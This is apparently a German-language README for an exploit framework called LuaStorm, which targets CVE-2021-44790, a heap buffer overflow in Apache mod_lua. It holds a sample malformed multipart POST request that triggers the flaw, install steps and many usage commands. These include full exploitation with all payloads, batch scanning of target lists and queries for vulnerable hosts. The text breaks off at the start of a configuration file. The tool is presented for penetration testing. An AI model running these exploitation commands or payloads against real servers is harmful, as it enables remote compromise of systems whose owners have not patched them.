🔥 CVE-2021-44790 - Apache mod_lua Pufferüberlauf-Ausnutzung

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📋 Überblick

Apache mod_lua Pufferüberlauf-Ausnutzung ist eine fortschrittliche Exploitation-Plattform der Enterprise-Klasse für CVE-2021-44790 – eine kritische Pufferüberlauf-Schwachstelle im mod_lua-Modul des Apache HTTP Servers 2.4.x. Dieses Framework bietet umfassendes Fingerprinting, intelligente Skript-Ermittlung, mehrstufiges Scannen und professionelle Berichtsfunktionen mit 95%+ Erkennungssicherheit.

⚡ Hauptfunktionen

Funktion	Beschreibung
🔍 Erweitertes Fingerprinting	Erkennung von Apache-Version, mod_lua, Betriebssystem, Architektur, WAF, CDN, Container und Cloud-Anbieter
🎯 Intelligente Ermittlung	7+ Ermittlungstechniken, darunter robots.txt, Sitemap, HTML-Parsing und JavaScript-Extraktion
💥 Mehrstufiges Scannen	Verbindung → Fingerprint → Ermittlung → Verifizierung → Exploitation → Berichtserstellung
🧩 Erweiterbares Plugin-System	Einfache Plugin-Entwicklung für zukünftige CVEs
🌐 Intelligente HTTP-Engine	Verbindungspooling, Wiederholungsversuche, HTTP/2-Unterstützung, Ratenbegrenzung
📊 Umfassende Berichte	JSON, HTML, Markdown, PDF mit interaktiven Dashboards
🎨 Attraktive Terminal-Oberfläche	Rich-Bibliothek mit Fortschrittsbalken, Tabellen und farbcodierter Ausgabe
💾 Forschungsdatenbank	SQLite-Speicherung mit vollständigem Scan-Verlauf und Abfrageunterstützung
📸 Screenshot-Erfassung	Automatische Webseiten-Screenshots zur Beweissicherung
🚀 Hohe Leistung	20+ parallele Threads, 100+ Verbindungspools

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🎯 Schwachstellendetails

Attribut	Wert
CVE-ID	CVE-2021-44790
Schwachstelle	Pufferüberlauf (Integer-Unterlauf)
Betroffene Software	Apache HTTP Server 2.4.0 bis 2.4.51
Behobene Version	Apache HTTP Server 2.4.52 und später
Komponente	mod_lua-Modul
Angriffsvektor	Netzwerk (Remote)
CVSS-Score	9.8 (Kritisch)
Auswirkung auf Vertraulichkeit	Hoch
Auswirkung auf Integrität	Hoch
Auswirkung auf Verfügbarkeit	Hoch
Exploit-Reife	Proof-of-Concept verfügbar

Technische Beschreibung

Die Schwachstelle befindet sich im mod_lua-Modul bei der Verarbeitung von multipart/form-data-Anfragen. Ein Integer-Unterlauf in der Funktion lua_request_parsebody() kann zu einem Heap-basierten Pufferüberlauf führen, der potenziell eine Remote-Code-Ausführung ermöglicht.

POST /process.lua HTTP/1.1
Host: target.com
Content-Type: multipart/form-data; boundary=4

4
Content-Disposition: form-data; name="name"

0
4

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📸 Screenshots

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🚀 Schnellstart

Installation

# Clone the repository
git clone https://github.com/CerberusMrXi/Apache-Lua-Buffer-Overflow-Exploit-CVE-2021-44790
cd Apache-Lua-Buffer-Overflow-Exploit-CVE-2021-44790

# Install dependencies
pip install -r requirements.txt

# Verify installation
python3 exploit.py --version

Grundlegende Verwendung

# Quick vulnerability scan
python3 exploit.py http://target.com

# Verbose scan with exploitation
python3 exploit.py https://target.com --exploit --verbose

# Generate all reports
python3 exploit.py http://target.com --report all

# Research mode with database
python3 exploit.py http://target.com --research

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📋 Detaillierte Verwendung

Kommandozeilenoptionen

python3 exploit.py [TARGET] [OPTIONS]

Option	Beschreibung	Beispiel
TARGET	Ziel-URL	http://target.com
--config FILE	Konfigurationsdatei	--config config.yaml
--threads N	Anzahl der Threads	--threads 30
--timeout N	Anfrage-Timeout (Sekunden)	--timeout 15
--proxy URL	Proxy-URL	--proxy http://127.0.0.1:8080
--verbose	Ausführliche Ausgabe	--verbose
--scan-only	Scan ohne Exploitation	--scan-only
--exploit	Exploitation aktivieren	--exploit
--all-payloads	Alle Payloads verwenden	--all-payloads
--report FORMAT	Berichtsformat (json/html/markdown/all)	--report all
--output DIR	Ausgabeverzeichnis	--output /path/to/reports/
--research	Forschungsmodus aktivieren	--research
--database FILE	Datenbankpfad	--database luastorm.db
--screenshot	Screenshots aufnehmen	--screenshot
--batch FILE	Batch-Datei mit Zielen	--batch targets.txt
--query SQL	Datenbankabfrage ausführen	--query "SELECT * FROM targets"

Beispiele

1. Grundlegende Schwachstellenbewertung

python3 exploit.py https://example.com --verbose --report all

2. Scan in einer Unternehmensumgebung

python3 exploit.py https://internal-server.com \
    --proxy http://proxy.corp.com:8080 \
    --threads 10 \
    --timeout 15 \
    --verbose \
    --report all \
    --output /var/log/security/

3. Vollständiger Penetrationstest

python3 exploit.py https://client.com \
    --threads 30 \
    --timeout 10 \
    --exploit \
    --all-payloads \
    --report all \
    --screenshot \
    --research \
    --verbose \
    --output /pentest/client_name/

4. Batch-Scanning

python3 exploit.py --batch targets.txt --config config.yaml

5. Datenbankabfragen

# Show all vulnerable targets
python3 exploit.py --query "SELECT * FROM targets WHERE vulnerable=1"

# Get statistics
python3 exploit.py --query "SELECT COUNT(*) as total, SUM(vulnerable) as vulnerable FROM targets"

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⚙️ Konfiguration

config.yaml

# ----------------------------------------------------------------------------
# LuaStorm Exploit Framework - Configuration File
# ----------------------------------------------------------------------------